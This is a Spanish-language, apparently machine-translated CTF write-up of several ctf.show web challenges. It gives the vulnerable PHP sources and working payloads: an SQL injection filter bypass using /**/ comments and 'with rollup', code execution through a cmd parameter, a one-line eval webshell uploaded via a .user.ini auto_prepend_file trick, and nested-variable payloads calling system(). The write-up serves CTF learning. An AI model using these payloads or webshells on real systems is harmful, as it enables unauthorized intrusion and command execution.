[pregunta del concurso ctf.show-web]


ctf.show_web10

Ven a la página es un cuadro de inicio de sesión
inserte la descripción de la imagen aquí

Haga clic en el botón cancelar, aparece el código fuente

<?php
		$flag="";
        function replaceSpecialChar($strParam){
    
    
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
    
    
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
    
    
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
    
    
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
    
    
					while($row=mysqli_fetch_assoc($result)){
    
    
						if($password==$row['password']){
    
    
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

Se han filtrado muchas declaraciones de inyección.
Group by y with rollup se usan principalmente aquí para combinar
group by, sin mencionar que es un arreglo, y el orden predeterminado es ascendente
con rollup (group by puede ser seguido por rollup, lo que significa que las estadísticas de resumen se realizan nuevamente sobre la base de las estadísticas del grupo).
Habrá una línea adicional en el resultado, donde la columna de contraseña es nula y el recuento (*) es la suma estadística.
Por ejemplo:

select password,count(*) from test group by password with rollup;

Entonces construimos la carga útil:

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

Debido a que después de agregar con rollup, la contraseña tiene una fila de NULL, solo necesitamos ingresar una contraseña vacía para hacer (NULL==NULL), /**/ se usa para omitir el filtro de espacio

inserte la descripción de la imagen aquí

Puede obtener la bandera
ctfshow{d89ccf86-5ac9-4429-95e0-ea40b0afba89}


Dos, ctf.show_web11

Ven a la página de inicio
inserte la descripción de la imagen aquí

Puede ver que el código php tiene muchas restricciones.
Observe la forma de obtener la bandera $password==$_SESSION['password']. La contraseña la ingresamos nosotros mismos. La contraseña en la sesión se almacena localmente, por lo que solo necesitamos ingresar una contraseña vacía y eliminar la sesión local para evitarlo con éxito. .

inserte la descripción de la imagen aquí

Obtener indicador:
ctfshow{5f4e07ee-e7d9-4302-8b7d-f3eabfa0ed16}

3. ctf.show_web12

Ven a la página de inicio
inserte la descripción de la imagen aquí

Primero echa un vistazo al código fuente
inserte la descripción de la imagen aquí

Hay una variable cmd indicadora, que indica que es probable que haya una función de ejecución de código en segundo plano.Ingrese
phpinfo(); vea la información de configuración de php
inserte la descripción de la imagen aquí

Se encontró que muchos métodos de ejecución de comandos están deshabilitados.
También puede usar Highlight_file("index.php"); ver el código fuente
inserte la descripción de la imagen aquí
Aquí hay otra función php glob();
la función glob() devuelve el nombre de archivo o directorio que coincide el patrón especificado.
Por ejemplo:

glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件

Con este método, primero buscamos todos los archivos en el directorio actual para ver si están disponibles. Input?cmd=print_r(glob(“*”)); imprima el siguiente archivo
inserte la descripción de la imagen aquí
y luego lea el archivo

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

inserte la descripción de la imagen aquí

Obtener la bandera:
ctfshow{2eb6ffd3-82c8-4718-a528-9b251e5a31e9}

4. ctf.show_web13

Entra a la pagina
inserte la descripción de la imagen aquí
e intenta subir el archivo, pero no hay efecto, encuentra el directorio oculto
inserte la descripción de la imagen aquí

Encontrado upload.php, intente upload.php.bak para obtener el archivo de código fuente

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
    
    
		die("error file zise");
	}
	if (strlen($filename)>9){
    
    
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
    
    
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
    
    
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
    
    
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
    
    
		echo "文件上传成功!";
	}else{
    
    
		echo "文件上传失败!";
	}

 ?>

Obtuve el código fuente y encontré que el tamaño del archivo restrictivo es <=24, la longitud del nombre es <=9, la longitud del sufijo es <=3, y el nombre y el sufijo no pueden tener php, entonces tal caballo de Troya se puede
construir

<?php eval($_POST['a']);

Debido al sufijo, cargue primero 2.txt
inserte la descripción de la imagen aquí
y luego cargue el archivo .user.ini.
El .user.ini en php tiene la siguiente explicación:
PHP buscará el nombre del archivo en cada directorio, si se establece en una cadena vacía, PHP no buscará, es decir, si el nombre del archivo se establece en .user. ini , entonces cualquier página incluirá el contenido del archivo.
Ingresamos auto_prepend_file = 2.txt en .user.ini, para que todos los archivos en este directorio contengan el contenido de 2.txt
//
Después de conectar la espada de hormigas, encontramos que no hay permiso para operar el archivo, entonces entramos directamente a la página web Busque la bandera en.
Enviar con POST

a=print_r(glob("*"));

Luego use el archivo de resaltado () para obtener la bandera

a=highlight_file("文件名");

5. Taza de verduras para perros

1. Inicio de sesión web

ven a la pagina
inserte la descripción de la imagen aquí

el código

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

Lo he estado intentando durante mucho tiempo, ¿es realmente una pregunta de inicio de sesión? Después de leer el wp del tipo grande, para resumir
la investigación es: la relación entre el método de solicitud y la asignación, así como la codificación china del campo Cookie.

La razón principal es el uso del último caballo de Troya de una oración, que tiene mucho anidamiento. Echemos un vistazo: primero, la parte más
interna es 'CTFshow-QQ group:', y el frente es $_COOKIE, es decir, se toma el 'grupo CTFshow-QQ' en la cookie. El valor;
luego, si lo pasamos en la cookie CTFshow-QQ群:=a, el caballo de Troya de una oración se convierte en:

eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);

Entonces $_POST[a] es el valor del parámetro a que pasará POST, lo pasaremos a=b, luego se convierte en:

eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);

$_GET[b] es pasar el valor del parámetro b en modo GET, y luego asignar un valor a b b=cpara obtener:

eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);

$_REQUEST[c][6][0][7][5][8][0][9][4][4], que $_REQUESTse puede solicitar de cualquier forma, c es una matriz y el valor pasado en la solicitud $_REQUEST es el [6][0][7][5][8][0][9][4][4]valor de la clave de ID en la matriz C. Debido a que las matrices de PHP pueden asignar valores a las claves de ID,
entonces podemos asignar valores directamente a estas claves en la matriz C:
c[6][0][7][5][8][0][9][4][4]= system('ls /');

Entonces, usamos el formulario POST para enviar el paquete y prestamos atención “群”al uso de la codificación de URL %E7%BE%A4, de lo contrario, burp no lo reconocerá (al asignar un valor a c, se puede colocar en el encabezado de la solicitud o en la entidad de la solicitud, porque la solicitud el método de solicitud puede ser en forma de obtener o publicar. aceptar)

Aquí uso hackbar convenientemente,
inserte la descripción de la imagen aquí
así que obtenemos el archivo flagaaa, ingresamos el comando cat /f1agaaapara obtener la bandera
inserte la descripción de la imagen aquí
y ganamos mucho

2.web2 c0me_t0_s1gn

Cuando llegué a la página
inserte la descripción de la imagen aquí
, se me indicó que había información para encontrar. Traté de usar Yujian y dirsearch para encontrar el directorio, pero no pude encontrarlo. Vi el código fuente de la página más tarde. Vi
inserte la descripción de la imagen aquí
alguna información sobre la bandera, y siguió el aviso específico a la consola. Solicitó
inserte la descripción de la imagen aquí
el método de operación para encontrar la bandera, y
inserte la descripción de la imagen aquí
la encontró después de ejecutar. La información en la segunda mitad de la bandera se puede empalmar.

3. Solo tengo $ en mis ojos

ven a la pagina
inserte la descripción de la imagen aquí

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

Puede ver que el método de publicación se usa para pasar parámetros. Aquí estamos examinando el anidamiento de variables, una serie de $variables, la variable inicial debe ser _, por lo que debemos definir las variables a su vez y asignarlas al comando. declaración de ejecución después de hacerlo, system('ls /');y las variables no se pueden repetir

No es muy bueno escribiendo guiones, consulte al tipo grande

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')

inserte la descripción de la imagen aquí
Modificar el comando para obtener la bandera.

inserte la descripción de la imagen aquí


Resumir

El seguimiento continuará compartiendo notas de ctfshow

Supongo que te gusta

Origin blog.csdn.net/qq_61872115/article/details/129690257
Recomendado
Clasificación